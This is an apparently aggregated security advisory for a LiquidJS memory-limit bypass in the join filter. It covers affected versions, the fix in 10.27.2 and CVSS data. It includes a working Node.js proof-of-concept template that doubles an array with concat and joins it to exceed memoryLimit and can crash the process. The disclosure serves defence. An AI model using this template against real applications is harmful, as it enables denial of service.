High

LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process

  • Disclosed: 08.09.2026
  • Updated: 11.10.2026 10:22

Summary

The join filter (src/filters/array.ts:8-13) charges memoryLimit by array element count, not by the string length it produces, letting a template bypass a configured memoryLimit and allocate strings far past budget — bounded only by V8/process limits, not by memoryLimit.

Details

js
// src/filters/array.ts:8-13
export const join = argumentsToValue(function (this: FilterImpl, v: any[], arg: string) {
  const array = toArray(v)
  const sep = isNil(arg) ? ' ' : stringify(arg)
  const complexity = array.length * (1 + sep.length)   // element COUNT, not element sizes
  this.context.memoryLimit.use(complexity)
  return array.join(sep)                                // allocates sum(element lengths) + separators
})

concat (array.ts:72) is the enabler: it charges by element count too, but only copies references (cheap for both limiter and heap), so an array's element count can be doubled repeatedly at near-zero real cost. join is where the bug lives — it's the call that actually materializes all referenced content into one string, and its own charge (array.length) doesn't reflect that.

Same undercounting class as already-fixed replace (GHSA-mmg9-6m6j-jqqx), replace_first (GHSA-6q5m-63h6-5x4v), date/strftime (GHSA-hh27-hf48-9f5q) — join wasn't covered. Sibling array_to_sentence_string (src/filters/string.ts:210) has the identical defect.

PoC

Live-reproduced against liquidjs@10.27.1, Node v24.3.0.

js
const { Liquid } = require('liquidjs');
const engine = new Liquid({ memoryLimit: 1e7 }); // 10M-unit DoS defense

const E = 5000, DOUBLINGS = 13;
const chunk = 'a'.repeat(E);
let tpl = `{%- assign s = "${chunk}" -%}{%- assign a = s | split: "NOSUCHSEP" -%}`;
for (let i = 0; i < DOUBLINGS; i++) tpl += `{%- assign a = a | concat: a -%}`; // 1 -> 8192 elements
tpl += `{%- assign out = a | join: "" -%}{{ out | size }}`;

const len = Number(engine.renderSync(engine.parse(tpl))); // succeeds — should be blocked
console.log('output length:', len);  // output length: 40960000

Verified by binary-search on memoryLimit: render is blocked at 29573, succeeds at 29574 — confirming total charge across split+13×concat+join is exactly 29,574 units (split 5000, concat 16382, join 8192). Output length: 40,960,000 — 1385x the total charged, >4x the configured 10,000,000-unit limit. Scaling DOUBLINGS grows output exponentially for linear charge growth, driving toward gigabytes and a RangeError: Invalid string length / V8 OOM crash.

Impact

Any app rendering attacker-influenced templates with memoryLimit set (LiquidJS docs list it as covering "array concat/join/strftime") can have that control bypassed by one short template, forcing allocation well past budget up to a process crash. split/concat are correctly charged; the gap is join's own accounting of its own output. (LiquidJS's security-model docs call these limits "cooperative safeguards, not strict isolation" — doesn't change that join's charge is wrong relative to what it allocates.)

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package liquidjs < 10.27.2 10.27.2

References

CVSS score 7.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-400
Platform
npm
Package
liquidjs
Disclosed
08.09.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-4r6h-5v86-94p3 - CC BY 4.0

Vulnerability history: liquidjs

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (19) in the archive
Total entries
19
First → latest
12.2022 10.2026
Without a fix
6
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 10
  • Medium 7
  • Low 1

Disclosures per year

  1. 2022: 1
  2. 2023: 0
  3. 2024: 0
  4. 2025: 0
  5. 2026: 18
Severity:
  1. LiquidJS: Uncontrolled Resource Consumption in `join` filter allows template authors to bypass `memoryLimit` and crash the process this entry
    High · 7.5 CVE-2026-69222 < 10.27.2 10.27.2
  2. High CVE-2026-61556 >= 10.26.0, < 10.27.1 10.27.1
  3. Critical · 10.0 CVE-2026-45618 < 10.26.0 10.26.0
  4. High CVE-2026-30952 < 10.25.0 10.25.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.